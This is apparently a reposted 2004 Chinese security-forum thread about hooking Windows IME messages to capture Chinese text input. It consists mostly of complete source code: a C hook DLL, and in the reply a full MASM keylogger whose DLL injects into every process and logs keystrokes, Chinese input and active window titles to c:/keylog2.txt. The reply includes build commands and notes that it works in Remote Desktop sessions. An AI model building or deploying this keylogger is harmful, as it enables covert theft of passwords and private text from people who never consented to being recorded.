您的位置:首页 > 其它

关于HOOK截获中文输入

2006-07-12 19:34 633 查看
标题:关于HOOK截获中文输入
发信站:安全焦点(2004年12月10日13时58分49秒)
以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{

switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}

// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20);

// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c://report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
}

return(lResult);
}

HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}

HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY HOOK

EXPORTS
InstallHook
UnHook

其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^

--
Welcome to my blog:
http://www.donews.net/zwell/ 发帖者:Met3or 讨论区:编程讨论推荐区
标题:Re: 关于HOOK截获中文输入
发信站:安全焦点(2004年12月11日2时20分47秒)
很久没去绿盟,那天去看到czy写的这个
ctrl+C过来

键盘记录支持中文,3389
czy 04.11.28

挂接WH_CALLWNDPROC(WM_IME_COMPOSITION),WH_GETMESSAGE(WM_CHAR和WM_KEYUP),前者记录中文,后者记特殊按键和字母符号.
中文在极品五笔和智能ABC中测试通过,另系统测试在2k,xp,2003下测试通过,同时包括
2kserver的3389中.(CMD中不能成功记录)
记录文件在c:/keylog2.txt中.防止有些人那去害人.调试窗口没有去掉嘿嘿.
用法:运行a.exe后key.dll就会进入每一个进程并进行记录.

编绎参数:
ml /c /coff a.asm
rc hook.rc
link /subsystem:windows a.obj hook.res
ml /c /coff key.asm
link /SECTION:.bss,S /DLL /DEF:key.def /SUBSYSTEM:windows /LIBPATH:C:/MASM32/BIN key.obj

rc文件
-------------------hook.rc-----------------
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define ICO_MAIN 1000
#define DLG_MAIN 1000
#define IDC_TEXT 1001
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN ICON "Main.ico"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 208, 130, 234, 167
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "键盘钩子"
FONT 9, "宋体"
{
EDITTEXT IDC_TEXT, 5, 5, 224, 158, ES_MULTILINE | ES_AUTOVSCROLL
| WS_BORDER | WS_VSCROLL | WS_TABSTOP | ES_READONLY
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-------------------end---------------------

包含文件key.inc
------------key.inc-------------
UninstallHook PROTO
InstallHook PROTO
------------end-----------------
def文件key.def
------------key.def--------------
LIBRARY key.dll

EXPORTS InstallHook
UninstallHook
---------------end----------------

---------------------a.exe---------------------------
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
include key.inc
includelib key.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000
DLG_MAIN equ 1000
IDC_TEXT equ 1001
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

mov eax,wMsg
;********************************************************************
.if eax == WM_CLOSE
invoke UninstallHook
invoke EndDialog,hWnd,NULL
;********************************************************************
.elseif eax == WM_INITDIALOG
invoke InstallHook

;********************************************************************
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

---------------------end-----------------------------

---------------------key.dll--------------------------
.386
.model flat,stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/user32.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/user32.lib
includelib /masm32/lib/kernel32.lib
includelib ../lib/imm32.lib
include ../include/imm32.inc

IDC_TEXT equ 1001
.data
hInstance dd 0
maintitle db '键盘钩子',0

LogKeyFile2 db 'c:/keylog2.txt',0
keylogformat db 0dh,0ah,'--==%s==--',0dh,0ah,0
;------vk-------------
insert db '[Insert]',0
delete db '[Del]',0
home db '[Home]',0
kend db '[End]',0
pgdown db '[PgDn]',0
pgup db '[PgUp]',0

down db '[↓]',0
up db '[↑]',0
left db '[←]',0
right db '[→]',0

back db '[<=]',0
ctrl db '[ctrl]',0
tab db '[Tab]',0
alt db '[Alt]',0 ;键盘码是VK_MENU
shift db '[Shift]',0
kesc db '[Esc]',0
space db ' ',0
printscreen db '[PrtSc]',0
capslock db '[Caps Lock]',0
kreturn db 0dh,0ah,0

.data?
forcushwnd DD ?
fhwnd dd ?

hHook dd ?
hHook2 dd ?
cchar db 20 dup(?)
cchar2 db 20 dup(?)

keylogbuffer db 1024 dup(?) ;定义1kb的键盘记录缓冲

hlogKeyFile dd ?

hactivewindow dd ?
svTitle db 256 dup(?) ;当前窗口标题
szkeylogtitlebuffer db 270 dup (?)

.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD

.if reason==DLL_PROCESS_ATTACH ;dll加载时
push hInstDLL
pop hInstance

.endif
mov eax,TRUE
ret
DllEntry Endp

_KeyLog proc keyaddr:dword
invoke FindWindow,NULL,offset maintitle
invoke SendDlgItemMessage,eax,IDC_TEXT,EM_REPLACESEL,0,keyaddr

invoke GetActiveWindow
.if eax!=hactivewindow
mov hactivewindow,eax
invoke GetWindowText,hactivewindow,offset svTitle,256

invoke wsprintf,offset szkeylogtitlebuffer,offset keylogformat,offset svTitle
invoke lstrcat,offset keylogbuffer,offset szkeylogtitlebuffer

.endif

invoke lstrlen,offset keylogbuffer
.if eax<10
invoke lstrcat,offset keylogbuffer,keyaddr
.else
invoke CreateFile,offset LogKeyFile2,GENERIC_WRITE,FILE_SHARE_READ,/
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
mov hlogKeyFile,eax
invoke SetFilePointer,hlogKeyFile,0,NULL,FILE_END
invoke SetEndOfFile,hlogKeyFile ;文件指针放到文件尾
invoke lstrlen,offset keylogbuffer
invoke _lwrite,hlogKeyFile,offset keylogbuffer,eax
invoke CloseHandle,hlogKeyFile

invoke RtlZeroMemory,offset keylogbuffer,1024
invoke lstrcat,offset keylogbuffer,keyaddr
.endif

ret
_KeyLog endp

HookProc proc _dwCode,_wParam,_lParam

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
pushad
.if _dwCode == HC_ACTION
mov ebx,_lParam
assume ebx:ptr CWPSTRUCT
;.if [ebx].message == WM_IME_CHAR
;mov dx,word ptr [ebx].wParam
;xchg dl,dh
;mov ebx,offset cchar
;mov word ptr [ebx],dx

;invoke MessageBoxA,0,addr cchar,addr cchar,1
;invoke _KeyLog,addr cchar
.if [ebx].message == WM_IME_COMPOSITION
invoke GetFocus
mov forcushwnd,eax
invoke ImmGetContext,forcushwnd
mov fhwnd,eax

invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,NULL,0
add eax,sizeof WCHAR
invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,offset cchar,eax
;invoke MessageBoxA,0,offset cchar,offset cchar,1

invoke lstrcmp,addr cchar,addr cchar2

.if eax
invoke _KeyLog,addr cchar

.endif
invoke lstrcpy,addr cchar2,addr cchar
invoke RtlZeroMemory,offset cchar,20
invoke ImmReleaseContext,forcushwnd,fhwnd
.endif
assume ebx:nothing
.endif
popad
xor eax,eax
ret

HookProc endp

HookProc2 proc _dwCode,_wParam,_lParam

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
pushad
.if _dwCode == HC_ACTION
mov ebx,_lParam
assume ebx:ptr MSG
.if [ebx].message == WM_KEYUP
mov edx,[ebx].wParam
.if dl<30h
.if dl==VK_SPACE
; invoke _KeyLog,addr space
jmp @@ex

.elseif dl==VK_RETURN
; invoke _KeyLog,addr kreturn
jmp @@ex
.elseif dl==VK_PGDN ;down
invoke _KeyLog,addr pgdown
jmp @@ex
.elseif dl==VK_PGUP ;UP
invoke _KeyLog,addr pgup
jmp @@ex
.elseif dl==VK_CAPITAL
invoke _KeyLog,addr capslock
jmp @@ex
.elseif dl==VK_HOME
invoke _KeyLog,addr home
jmp @@ex
.elseif dl==VK_END
invoke _KeyLog,addr kend
jmp @@ex
.elseif dl==VK_DELETE
invoke _KeyLog,addr delete
jmp @@ex
.elseif dl==VK_INSERT
invoke _KeyLog,addr insert
jmp @@ex
.elseif dl==VK_DOWN
invoke _KeyLog,addr down
jmp @@ex
.elseif dl==VK_UP
invoke _KeyLog,addr up
jmp @@ex
.elseif dl==VK_LEFT
invoke _KeyLog,addr left
jmp @@ex
.elseif dl==VK_RIGHT
invoke _KeyLog,addr right
jmp @@ex
.elseif dl==VK_CONTROL
; invoke _KeyLog,addr ctrl
jmp @@ex
.elseif dl==VK_TAB
invoke _KeyLog,addr tab
jmp @@ex
.elseif dl==VK_ESCAPE
invoke _KeyLog,addr kesc
jmp @@ex
.elseif dl==VK_SNAPSHOT
invoke _KeyLog,addr printscreen
jmp @@ex
.elseif dl==VK_MENU
invoke _KeyLog,addr alt
jmp @@ex

.endif
.endif
.elseif [ebx].message == WM_CHAR
invoke IsDBCSLeadByte,[ebx].wParam
.if !eax
.if _wParam & PM_REMOVE
mov dx,word ptr [ebx].wParam
.if dl==VK_BACK
invoke _KeyLog,addr back

.elseif dl==VK_RETURN
invoke _KeyLog,addr kreturn
.elseif dl==VK_SPACE
invoke _KeyLog,addr space
.else
mov ebx,offset cchar
mov word ptr [ebx],dx

;invoke MessageBoxA,0,addr cchar,addr cchar,1

invoke _KeyLog,addr cchar

.endif
.endif
.endif
.endif
@@ex:
assume ebx:nothing
.endif
popad
xor eax,eax
ret

HookProc2 endp

InstallHook proc

invoke SetWindowsHookEx,WH_CALLWNDPROC,addr HookProc,hInstance,NULL
mov hHook2,eax
invoke SetWindowsHookEx,WH_GETMESSAGE,addr HookProc2,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
invoke UnhookWindowsHookEx,hHook2
ret
UninstallHook endp

End DllEntry
-----------------------------------------------end---------------------------

--
mail & MSN:meteor@feelids.com
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: